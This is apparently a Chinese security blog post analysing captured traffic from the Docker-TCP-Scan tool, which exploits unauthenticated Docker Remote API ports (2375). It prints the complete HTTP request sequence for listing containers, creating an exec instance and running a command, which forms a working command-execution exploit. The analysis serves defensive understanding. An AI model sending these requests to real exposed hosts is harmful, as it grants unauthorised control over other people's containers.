Docker-TCP-Scan 云安全武器流量分析
2024-8-20 19:31:44 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

随着企业上云逐渐形成了趋势和规模,云安全也成为了新的焦点和『风口』,云上安全越来越重要;在近几年的攻防中『AKSK』、『小程序』、『云上供应链』都已经成为了兵家必争之地和重要突破口

了解过 Docker Remote API 的师傅应该都知道2375端口,2375是Docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作;

当主机以 DOCKER_OPTS="-H tcp://0.0.0.0:2375" 这样的配置方式启动Docker时,可以在外部机器对 Docker Remote API 进行直接操作:docker -H tcp://$HOST:2375 ps

但Docker本身没有身份认证的功能,只要能访问到API服务端口,就可以操作Docker!

这就造成了非常严重的漏洞!能够直接通过 Docker Remote API 对相关运行的容器下发恶意命令!网络上对于 Docker Remote API 利用和详细分析的文章几乎没有,本文就曾哥开源的针对 Docker TCP socket 的利用工具 Docker-TCP-Scan 进行详细的攻击流量分析。通过使用 yakit 抓包工具,我们能够获取并解读全程攻击流量,揭示攻击的具体步骤。

同时感谢国际云安全联盟(CSA)渗透测试工作组对本开源工具提出的建议

GitHub地址

AabyssZG/Docker-TCP-Scan: 旨在以攻促防,针对Docker TCP socket的开源利用工具 

https://github.com/AabyssZG/Docker-TCP-Scan

使用yakit抓包分析流量获取全攻击流程

攻击流程分析

步骤一:获取 Docker 信息

攻击者通过发送 GET 请求来获取 Docker 容器的详细信息。这一操作利用了 Docker Daemon 的 TCP 端口 (2375),该端口默认情况下不要求认证,极易被攻击者利用进行信息泄露。

请求内容

GET /containers/json HTTP/1.1
Host: XXXXXXX:2375
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36, Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*

响应内容

HTTP/1.1 200 OK
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:25 GMT
Connection: close
Content-Type: application/json
Content-Length: 1170

[
{
"Id": "8dfafdbc3a40",
"Image": "ubuntu:latest",
"ImageID": "d74508fb6632491cea586a1fd7d748dfc5274cd6fdfedee309ecdcbc2bf5cb82",
"Command": "/bin/hello",
"Created": 1720106340,
"Ports": [{ "PrivatePort": 2222, "PublicPort": 3333, "Type": "tcp" }],
"SizeRw": 12288,
"Labels": {
"com.example.vendor": "Acme",
"com.example.license": "GPL",
"com.example.version": "1.0"
},
"State": "exited",
"Status": "Exit 0",
"NetworkSettings": {
"Networks": {
"bridge": {
"NetworkID": "7ea29fc1412292a2d7bba362f9253545fecdfa8ce9a6e37dd10ba8bee7129812",
"EndpointID": "2cdc4edb1ded3631c81f57966563e5c8525b81121bb3706a9a9a3ae102711f3f",
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"MacAddress": "02:42:ac:11:00:02"
}
}
},
"Mounts": [
{
"Name": "fac362...80535",
"Source": "/data",
"Destination": "/data",
"Driver": "local",
"Mode": "ro,Z",
"Propagation": ""
}
]
}
]

解析:
通过这一步骤,攻击者可以获取 Docker 容器的详细信息,包括容器 ID、镜像名称、网络配置等。这些信息将为下一步的恶意操作提供目标。

步骤二:创建执行ID

攻击者接下来会发送 POST 请求,通过 Docker API 创建一个新的执行环境(Exec Instance),并在 Cmd 参数中注入恶意命令(payload)。

请求内容

POST /containers/8dfafdbc3a40/exec HTTP/1.1
Host: XXXXXXX:2375
Content-Type: application/json
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Length: 63

{ "Cmd": ["pwd"], "AttachStdout": true, "AttachStderr": true }

响应内容

HTTP/1.1 201 Created
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:38 GMT
Connection: close
Content-Type: application/json
Content-Length: 25

{ "Id": "b90e34656806" }

解析:
这一阶段,攻击者利用 Docker 提供的 API 功能,创建了一个可以执行特定命令的环境,并获取到了执行 ID。这个 ID 将在后续步骤中用于实际的命令执行。

步骤三:执行命令

最后,攻击者利用之前获取的执行 ID,发送 POST 请求执行注入的命令。

请求内容

POST /exec/b90e34656806/start HTTP/1.1
Host: XXXXXXX:2375
Accept: */*
Content-Type: application/json
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate, br
Content-Length: 34

{ "Detach": false, "Tty": false }

响应内容

HTTP/1.1 200 OK
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:40 GMT
Connection: close
Content-Type: application/octet-stream
Content-Length: 19

/home/root

解析:
通过执行命令,攻击者成功获取了 Docker 容器内部的文件系统信息,验证了其对目标容器的控制权。

攻击流程概述

  1. 信息收集: 通过 GET /containers/json 请求,攻击者首先获取 Docker 容器的详细信息,为后续攻击做好准备。
  2. 创建执行环境: 使用 POST /containers/{container_id}/exec 请求,攻击者创建了一个可以执行命令的环境,并获取了执行 ID。
  3. 执行命令: 通过 POST /exec/{exec_id}/start 请求,攻击者在目标容器内执行了恶意命令,进一步掌控了容器。

此类攻击利用了 Docker Daemon 开放的 TCP 端口,该端口默认情况下不要求认证,极容易被攻击者利用。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&mid=2247485581&idx=1&sn=e959ea88ccd08d31e1ba0462ab775d4e&chksm=cfa49376f8d31a606493586303acc717aabe9bb6c95f0de50e4b3b5145462c4565cc04b4c584&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh